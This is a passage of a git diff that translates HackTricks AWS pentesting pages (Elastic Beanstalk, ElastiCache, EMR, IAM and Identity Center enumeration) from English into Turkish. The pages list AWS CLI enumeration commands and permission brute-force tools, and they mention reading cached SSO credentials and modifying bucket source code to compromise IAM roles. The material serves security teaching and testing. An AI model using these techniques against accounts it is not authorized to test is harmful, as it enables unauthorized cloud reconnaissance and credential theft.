980504dac..8cde0adde 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,70 +4,69 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk provides a simplified platform for **deploying, managing, and scaling web applications and services**. It supports a variety of programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, and Go, as well as Docker containers. The service is compatible with widely-used servers including Apache, Nginx, Passenger, and IIS. +Amazon Elastic Beanstalk, **web uygulamalarını ve hizmetlerini dağıtmak, yönetmek ve ölçeklendirmek için** basitleştirilmiş bir platform sağlar. Java, .NET, PHP, Node.js, Python, Ruby ve Go gibi çeşitli programlama dilleri ve çerçevelerini destekler ve ayrıca Docker konteynerleri ile uyumludur. Hizmet, Apache, Nginx, Passenger ve IIS gibi yaygın olarak kullanılan sunucularla uyumludur. -Elastic Beanstalk provides a simple and flexible way to **deploy your applications to the AWS cloud**, without the need to worry about the underlying infrastructure. It **automatically** handles the details of capacity **provisioning**, load **balancing**, **scaling**, and application health **monitoring**, allowing you to focus on writing and deploying your code. +Elastic Beanstalk, **uygulamalarınızı AWS bulutuna dağıtmanın** basit ve esnek bir yolunu sunar; altyapı hakkında endişelenmenize gerek kalmaz. **Otomatik olarak**, kapasite **sağlama**, yük **dengeleme**, **ölçeklendirme** ve uygulama sağlık **izleme** detaylarını yönetir, böylece kodunuzu yazmaya ve dağıtmaya odaklanabilirsiniz. -The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2: +Elastic Beanstalk tarafından oluşturulan altyapı, **EC2**'deki **Otomatik Ölçekleme** Grupları tarafından yönetilmektedir (bir yük dengeleyici ile). Yani, günün sonunda, eğer **host'u tehlikeye atarsanız**, EC2 hakkında bilgi sahibi olmalısınız: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -Moreover, if Docker is used, it’s possible to use **ECS**. +Ayrıca, Docker kullanılıyorsa, **ECS** kullanmak mümkündür. {{#ref}} aws-eks-enum.md {{#endref}} -### Application & Environments +### Uygulama ve Ortamlar -In AWS Elastic Beanstalk, the concepts of an "application" and an "environment" serve different purposes and have distinct roles in the deployment process. +AWS Elastic Beanstalk'ta, "uygulama" ve "ortam" kavramları farklı amaçlara hizmet eder ve dağıtım sürecinde farklı rollere sahiptir. -#### Application +#### Uygulama -- An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity. -- When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources. -- You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments. +- Elastic Beanstalk'taki bir uygulama, **uygulamanızın kaynak kodu, ortamları ve yapılandırmaları için mantıksal bir konteynerdir**. Uygulama kodunuzun farklı sürümlerini bir araya getirir ve bunları tek bir varlık olarak yönetmenizi sağlar. +- Bir uygulama oluşturduğunuzda, bir isim ve **açıklama sağlarsınız, ancak bu aşamada hiçbir kaynak sağlanmaz**. Bu, kodunuzu ve ilgili kaynakları düzenlemenin ve yönetmenin basit bir yoludur. +- Bir uygulama içinde **birden fazla uygulama sürümü** bulundurabilirsiniz. Her sürüm, kodunuzun belirli bir sürümüne karşılık gelir ve bir veya daha fazla ortama dağıtılabilir. -#### Environment +#### Ortam -- An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration. -- **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production. -- When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings. +- Bir ortam, AWS altyapısında çalışan **uygulamanızın sağlanmış bir örneğidir**. **Uygulama kodunuzun dağıtıldığı ve çalıştırıldığı yerdir**. Elastic Beanstalk, ortam yapılandırmasına göre gerekli kaynakları (örneğin, EC2 örnekleri, yük dengeleyiciler, otomatik ölçekleme grupları, veritabanları) sağlar. +- **Her ortam, uygulamanızın tek bir sürümünü çalıştırır** ve geliştirme, test, sahneleme ve üretim gibi farklı amaçlar için birden fazla ortamınız olabilir. +- Bir ortam oluşturduğunuzda, bir platform (örneğin, Java, .NET, Node.js vb.) ve bir ortam türü (örneğin, web sunucusu veya işçi) seçersiniz. Ayrıca, altyapının ve uygulama ayarlarının çeşitli yönlerini kontrol etmek için ortam yapılandırmasını özelleştirebilirsiniz. -### 2 types of Environments +### 2 Tür Ortam -1. **Web Server Environment**: It is designed to **host and serve web applications and APIs**. These applications typically handle incoming HTTP/HTTPS requests. The web server environment provisions resources such as **EC2 instances, load balancers, and auto-scaling** groups to handle incoming traffic, manage capacity, and ensure the application's high availability. -2. **Worker Environment**: It is designed to process **background tasks**, which are often time-consuming or resource-intensive operations that don't require immediate responses to clients. The worker environment provisions resources like **EC2 instances and auto-scaling groups**, but it **doesn't have a load balancer** since it doesn't handle HTTP/HTTPS requests directly. Instead, it consumes tasks from an **Amazon Simple Queue Service (SQS) queue**, which acts as a buffer between the worker environment and the tasks it processes. +1. **Web Sunucusu Ortamı**: **Web uygulamalarını ve API'leri barındırmak ve sunmak için** tasarlanmıştır. Bu uygulamalar genellikle gelen HTTP/HTTPS isteklerini işler. Web sunucusu ortamı, gelen trafiği yönetmek, kapasiteyi kontrol etmek ve uygulamanın yüksek kullanılabilirliğini sağlamak için **EC2 örnekleri, yük dengeleyiciler ve otomatik ölçekleme** grupları gibi kaynakları sağlar. +2. **İşçi Ortamı**: **Arka plan görevlerini** işlemek için tasarlanmıştır; bu görevler genellikle zaman alıcı veya kaynak yoğun işlemlerdir ve müşterilere anında yanıt gerektirmez. İşçi ortamı, **EC2 örnekleri ve otomatik ölçekleme grupları** gibi kaynakları sağlar, ancak doğrudan HTTP/HTTPS isteklerini işlemediği için **bir yük dengeleyiciye sahip değildir**. Bunun yerine, işçi ortamı, işlediği görevler ile işçi ortamı arasında bir tampon görevi gören **Amazon Basit Kuyruk Servisi (SQS) kuyruğundan** görevleri tüketir. -### Security +### Güvenlik -When creating an App in Beanstalk there are 3 very important security options to choose: +Beanstalk'ta bir Uygulama oluştururken seçilecek 3 çok önemli güvenlik seçeneği vardır: -- **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app -- **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**) - - The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role. - - This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- **EC2 anahtar çifti**: Bu, uygulamayı çalıştıran EC2 örneklerine erişebilecek **SSH anahtarı** olacaktır. +- **IAM örnek profili**: Bu, örneklerin sahip olacağı **örnek profilidir** (**IAM ayrıcalıkları**). +- Otomatik olarak oluşturulan rol **`aws-elasticbeanstalk-ec2-role`** olarak adlandırılır ve AWS yönetilen politikaları kullanarak tüm ECS, tüm SQS, DynamoDB elasticbeanstalk ve elasticbeanstalk S3 üzerinde bazı ilginç erişimlere sahiptir: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- **Hizmet rolü**: Bu, **AWS hizmetinin** gerekli tüm eylemleri gerçekleştirmek için kullanacağı **roldür**. Bildiğim kadarıyla, normal bir AWS kullanıcısı bu role erişemez. +- AWS tarafından oluşturulan bu rol **`aws-elasticbeanstalk-service-role`** olarak adlandırılır ve AWS yönetilen politikaları [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) ve [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) kullanır. -By default **metadata version 1 is disabled**: +Varsayılan olarak **metadata sürümü 1 devre dışı** bırakılmıştır:
-### Exposure +### Maruz Kalma -Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticbeanstalk--`**(if it was created in the AWS console). Inside this bucket you will find the uploaded **source code of the application**. +Beanstalk verileri, aşağıdaki isimle bir **S3 kovasında** saklanır: **`elasticbeanstalk--`** (eğer AWS konsolunda oluşturulmuşsa). Bu kovada, yüklenen **uygulama kaynak kodunu** bulacaksınız. -The **URL** of the created webpage is **`http://-env...elasticbeanstalk.com/`** +Oluşturulan web sayfasının **URL'si** **`http://-env...elasticbeanstalk.com/`** > [!WARNING] -> If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it +> Eğer kova üzerinde **okuma erişimi** elde ederseniz, **kaynak kodunu okuyabilir** ve hatta üzerinde **hassas kimlik bilgilerini** bulabilirsiniz. > -> if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed. - -### Enumeration +> Eğer kova üzerinde **yazma erişimi** elde ederseniz, **kaynak kodunu değiştirebilir** ve uygulamanın bir sonraki çalıştırılmasında kullanılan **IAM rolünü tehlikeye atabilirsiniz**. +### Sayım ```bash # Find S3 bucket ACCOUNT_NUMBER= @@ -85,33 +84,28 @@ aws elasticbeanstalk describe-instances-health --environment-name # G # Get events aws elasticbeanstalk describe-events ``` - -### Unauthenticated Access +### Kimlik Doğrulama Olmadan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md {{#endref}} -### Persistence +### Süreklilik {{#ref}} ../aws-persistence/aws-elastic-beanstalk-persistence.md {{#endref}} -### Privesc +### Yetki Yükseltme {{#ref}} ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Post Exploitation +### Saldırı Sonrası {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 6305fcc91..e089adca4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,10 +4,9 @@ ## ElastiCache -AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**. +AWS ElastiCache, yüksek performans, düşük gecikme süresi ve ölçeklenebilir çözümler sunan tamamen **yönetilen bir bellek içi veri deposu ve önbellek hizmetidir**. İki popüler açık kaynak bellek içi motorunu destekler: **Redis ve Memcached**. ElastiCache, bu motorların **kurulumunu**, **yönetimini** ve **bakımını** **basitleştirir**, geliştiricilerin sağlama, yamanın uygulanması, izleme ve **yedekleme** gibi zaman alıcı görevleri üstlenmelerine olanak tanır. ### Enumeration - ```bash # ElastiCache clusters ## Check the SecurityGroups to later check who can access @@ -39,11 +38,6 @@ aws elasticache describe-users # List ElastiCache events aws elasticache describe-events ``` - ### Privesc (TODO) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index b05012f3e..f38300caf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,38 +4,37 @@ ## EMR -AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark. +AWS'nin Elastic MapReduce (EMR) hizmeti, 4.8.0 sürümünden itibaren, EMR kümeleri içinde dinlenme ve aktarımda verilerin şifrelenme ayarlarını belirleme imkanı sunarak veri korumasını artıran bir **güvenlik yapılandırması** özelliği tanıttı. EMR kümeleri, büyük veri çerçevelerini işlemek için tasarlanmış ölçeklenebilir EC2 örnek gruplarıdır. -Key characteristics include: +Ana özellikler şunlardır: -- **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features: - - **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider. - - **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop: - - Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer. - - HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm. -- **Encryption in Transit**: Focuses on securing data during transfer. Options include: - - **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider: - - **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket. - - **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts. +- **Küme Şifreleme Varsayılanı**: Varsayılan olarak, bir küme içindeki dinlenme halindeki veriler şifrelenmez. Ancak, şifrelemenin etkinleştirilmesi, birkaç özelliğe erişim sağlar: +- **Linux Unified Key Setup**: EBS küme hacimlerini şifreler. Kullanıcılar AWS Anahtar Yönetim Servisi (KMS) veya özel bir anahtar sağlayıcı seçebilir. +- **Açık Kaynak HDFS Şifrelemesi**: Hadoop için iki şifreleme seçeneği sunar: +- Güvenli Hadoop RPC (Uzak Prosedür Çağrısı), gizlilik ayarına sahip olup, Basit Kimlik Doğrulama Güvenlik Katmanı'nı kullanır. +- HDFS Blok transfer şifrelemesi, true olarak ayarlanmış olup, AES-256 algoritmasını kullanır. +- **Aktarımda Şifreleme**: Verilerin aktarım sırasında güvenliğini sağlamaya odaklanır. Seçenekler şunlardır: +- **Açık Kaynak Taşıma Katmanı Güvenliği (TLS)**: Şifreleme, bir sertifika sağlayıcısı seçilerek etkinleştirilebilir: +- **PEM**: PEM sertifikalarının manuel olarak oluşturulmasını ve bir zip dosyasına paketlenmesini gerektirir, S3 kovasından referans alınır. +- **Özel**: Şifreleme nesneleri sağlayan bir sertifika sağlayıcısı olarak özel bir Java sınıfı eklemeyi içerir. -Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version: +Bir TLS sertifika sağlayıcısı güvenlik yapılandırmasına entegre edildikten sonra, EMR sürümüne bağlı olarak aşağıdaki uygulama spesifik şifreleme özellikleri etkinleştirilebilir: - **Hadoop**: - - Might reduce encrypted shuffle using TLS. - - Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption. -- **Presto** (EMR version 5.6.0+): - - Internal communication between Presto nodes is secured using SSL and TLS. +- TLS kullanarak şifrelenmiş shuffle'ı azaltabilir. +- Dinlenme şifrelemesi ile Güvenli Hadoop RPC ve HDFS Blok Transferi AES-256 ile etkinleştirilir. +- **Presto** (EMR sürüm 5.6.0+): +- Presto düğümleri arasındaki iç iletişim SSL ve TLS kullanılarak güvence altına alınır. - **Tez Shuffle Handler**: - - Utilizes TLS for encryption. +- Şifreleme için TLS kullanır. - **Spark**: - - Employs TLS for the Akka protocol. - - Uses Simple Authentication Security Layer and 3DES for Block Transfer Service. - - External shuffle service is secured with the Simple Authentication Security Layer. +- Akka protokolü için TLS kullanır. +- Blok Transfer Servisi için Basit Kimlik Doğrulama Güvenlik Katmanı ve 3DES kullanır. +- Dış shuffle servisi, Basit Kimlik Doğrulama Güvenlik Katmanı ile güvence altına alınır. -These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases. +Bu özellikler, özellikle depolama ve iletim aşamalarında veri koruma açısından EMR kümelerinin güvenlik duruşunu artırır. #### Enumeration - ```bash aws emr list-clusters aws emr describe-cluster --cluster-id @@ -46,19 +45,14 @@ aws emr list-notebook-executions aws emr list-security-configurations aws emr list-studios #Get studio URLs ``` - #### Privesc {{#ref}} ../aws-privilege-escalation/aws-emr-privesc.md {{#endref}} -## References +## Referanslar - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 7a430cc17..ebfcccfe2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -1,10 +1,10 @@ -# AWS - IAM, Identity Center & SSO Enum +# AWS - IAM, Kimlik Merkezi & SSO Enum {{#include ../../../banners/hacktricks-training.md}} ## IAM -You can find a **description of IAM** in: +**IAM'in tanımını** burada bulabilirsiniz: {{#ref}} ../aws-basic-information/ @@ -12,9 +12,9 @@ You can find a **description of IAM** in: ### Enumeration -Main permissions needed: +Gerekli ana izinler: -- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion` +- `iam:ListPolicies`, `iam:GetPolicy` ve `iam:GetPolicyVersion` - `iam:ListRoles` - `iam:ListUsers` - `iam:ListGroups` @@ -22,10 +22,9 @@ Main permissions needed: - `iam:ListAttachedUserPolicies` - `iam:ListAttachedRolePolicies` - `iam:ListAttachedGroupPolicies` -- `iam:ListUserPolicies` and `iam:GetUserPolicy` -- `iam:ListGroupPolicies` and `iam:GetGroupPolicy` -- `iam:ListRolePolicies` and `iam:GetRolePolicy` - +- `iam:ListUserPolicies` ve `iam:GetUserPolicy` +- `iam:ListGroupPolicies` ve `iam:GetGroupPolicy` +- `iam:ListRolePolicies` ve `iam:GetRolePolicy` ```bash # All IAMs ## Retrieves information about all IAM users, groups, roles, and policies @@ -89,64 +88,54 @@ aws iam get-account-password-policy aws iam list-mfa-devices aws iam list-virtual-mfa-devices ``` +### İzinler Kaba Kuvvet -### Permissions Brute Force - -If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them. +Kendi izinlerinizle ilgileniyorsanız ancak IAM sorgulamak için erişiminiz yoksa, her zaman bunları kaba kuvvetle elde edebilirsiniz. #### bf-aws-permissions -The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**. - +Araç [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions), belirtilen profili kullanarak **`list*`, `describe*`, `get*`** eylemlerini `aws` cli yardım mesajlarını kullanarak bulup çalıştıran bir bash betiğidir ve **başarılı yürütmeleri** döndürür. ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` - #### bf-aws-perms-simulate -The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`** - +Araç [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate), **`iam:SimulatePrincipalPolicy`** iznine sahipseniz mevcut izinlerinizi (veya diğer yetkililerin izinlerini) bulabilir. ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` - #### Perms2ManagedPolicies -If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**. - +Eğer **kullanıcınızın sahip olduğu bazı izinler bulduysanız** ve bunların **yönetilen bir AWS rolü** tarafından verildiğini düşünüyorsanız (veya özel bir rol tarafından değilse). Bulduğunuz izinleri veren **AWS yönetilen rollerini** kontrol etmek için [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) aracını kullanabilirsiniz. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` - > [!WARNING] -> It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example. +> AWS yönetilen bir rol tarafından verilen izinlere sahip olup olmadığınızı "bilmek" mümkündür, örneğin **kullanılmayan hizmetler üzerinde izinlerinizin olduğunu gördüğünüzde**. #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**. - +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) , **herkes veya sadece belirli bir kullanıcı veya rol tarafından yapılan eylemleri çıkarmak ve özetlemek için AWS CloudTrail günlüklerini analiz eden** bir Python aracıdır. Araç, **belirtilen bucket'tan her cloudtrail günlüğünü ayrıştıracaktır**. ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` - > [!WARNING] -> If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who. +> Eğer .tfstate (Terraform durum dosyaları) veya CloudFormation dosyaları (genellikle cf-templates ön eki ile bir bucket içinde bulunan yaml dosyalarıdır) bulursanız, aws yapılandırmasını bulmak ve hangi izinlerin kime atandığını öğrenmek için bunları da okuyabilirsiniz. #### enumerate-iam -To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**. +Aracı kullanmak için [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) önce tüm API AWS uç noktalarını indirmeniz gerekiyor, bu uç noktalardan **`generate_bruteforce_tests.py`** scripti tüm **"list\_", "describe\_", ve "get\_" uç noktalarını alacak.** Ve sonunda, verilen kimlik bilgileriyle **erişmeye çalışacak** ve **başarıp başaramadığını belirtecek.** -(In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that). +(Benim deneyimime göre **araç bir noktada takılıyor**, [**bu düzeltmeye göz atın**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) bunu düzeltmeye çalışmak için). > [!WARNING] -> In my experience this tool is like the previous one but working worse and checking less permissions - +> Benim deneyimime göre bu araç bir önceki gibi ama daha kötü çalışıyor ve daha az izin kontrol ediyor. ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -163,11 +152,9 @@ cd .. # Enumerate permissions python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION] ``` - #### weirdAAL -You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests). - +Ayrıca [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki) aracını da kullanabilirsiniz. Bu araç, **birçok yaygın hizmette birkaç yaygın işlemi kontrol edecektir** (bazı enum izinlerini ve ayrıca bazı privesc izinlerini kontrol edecektir). Ancak yalnızca kodlanmış kontrolleri kontrol edecektir (daha fazla şeyi kontrol etmenin tek yolu daha fazla test kodlamaktır). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -191,12 +178,10 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` - -#### Hardening Tools to BF permissions +#### İzinleri BF ile Güçlendirme Araçları {{#tabs }} {{#tab name="CloudSploit" }} - ```bash # Export env variables ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json @@ -207,11 +192,9 @@ jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json # Get services by regions jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json ``` - {{#endtab }} {{#tab name="SteamPipe" }} - ```bash # https://github.com/turbot/steampipe-mod-aws-insights steampipe check all --export=json @@ -220,50 +203,48 @@ steampipe check all --export=json # In this case you cannot output to JSON, so heck it in the dashboard steampipe dashboard ``` - {{#endtab }} {{#endtabs }} #### \ -Neither of the previous tools is capable of checking close to all permissions, so if you know a better tool send a PR! +Önceki araçların hiçbiri tüm izinleri kontrol etme kapasitesine sahip değildir, bu yüzden daha iyi bir araç biliyorsanız bir PR gönderin! -### Unauthenticated Access +### Kimlik Doğrulama Olmadan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Yetki Yükseltme -In the following page you can check how to **abuse IAM permissions to escalate privileges**: +Aşağıdaki sayfada **IAM izinlerini kötüye kullanarak yetki yükseltmeyi** nasıl yapacağınızı kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM Post Exploitation +### IAM Sonrası Sömürü {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Persistence +### IAM Sürekliliği {{#ref}} ../aws-persistence/aws-iam-persistence.md {{#endref}} -## IAM Identity Center +## IAM Kimlik Merkezi -You can find a **description of IAM Identity Center** in: +**IAM Kimlik Merkezi'nin** tanımını burada bulabilirsiniz: {{#ref}} ../aws-basic-information/ {{#endref}} -### Connect via SSO with CLI - +### CLI ile SSO üzerinden Bağlanın ```bash # Connect with sso via CLI aws configure sso aws configure sso @@ -274,20 +255,18 @@ sso_account_id = sso_role_name = AdministratorAccess sso_region = us-east-1 ``` - ### Enumeration -The main elements of the Identity Center are: +Identity Center'ın ana unsurları şunlardır: -- Users and groups -- Permission Sets: Have policies attached -- AWS Accounts +- Kullanıcılar ve gruplar +- İzin Setleri: Politikalara sahiptir +- AWS Hesapları -Then, relationships are created so users/groups have Permission Sets over AWS Account. +Daha sonra, kullanıcıların/ grupların AWS Hesabı üzerinde İzin Setlerine sahip olması için ilişkiler oluşturulur. > [!NOTE] -> Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there). - +> Politikalara bir İzin Setine eklemenin 3 yolu olduğunu unutmayın. AWS yönetilen politikalarını eklemek, Müşteri yönetilen politikalarını eklemek (bu politikaların İzin Setinin etki ettiği tüm hesaplarda oluşturulması gerekir) ve yerel politikalar (orada tanımlanmış). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances @@ -321,11 +300,9 @@ aws identitystore list-group-memberships --identity-store-id --group- ## Get memberships or a user or a group aws identitystore list-group-memberships-for-member --identity-store-id --member-id ``` - ### Local Enumeration -It's possible to create inside the folder `$HOME/.aws` the file config to configure profiles that are accessible via SSO, for example: - +`$HOME/.aws` klasörü içinde SSO aracılığıyla erişilebilen profilleri yapılandırmak için config dosyası oluşturmak mümkündür, örneğin: ```ini [default] region = us-west-2 @@ -343,20 +320,16 @@ output = json role_arn = arn:aws:iam:::role/ReadOnlyRole source_profile = Hacktricks-Admin ``` - -This configuration can be used with the commands: - +Bu yapılandırma şu komutlarla kullanılabilir: ```bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` - When a **profile from SSO is used** to access some information, the credentials are **cached** in a file inside the folder **`$HOME/.aws/sso/cache`**. Therefore they can be **read and used from there**. -Moreover, 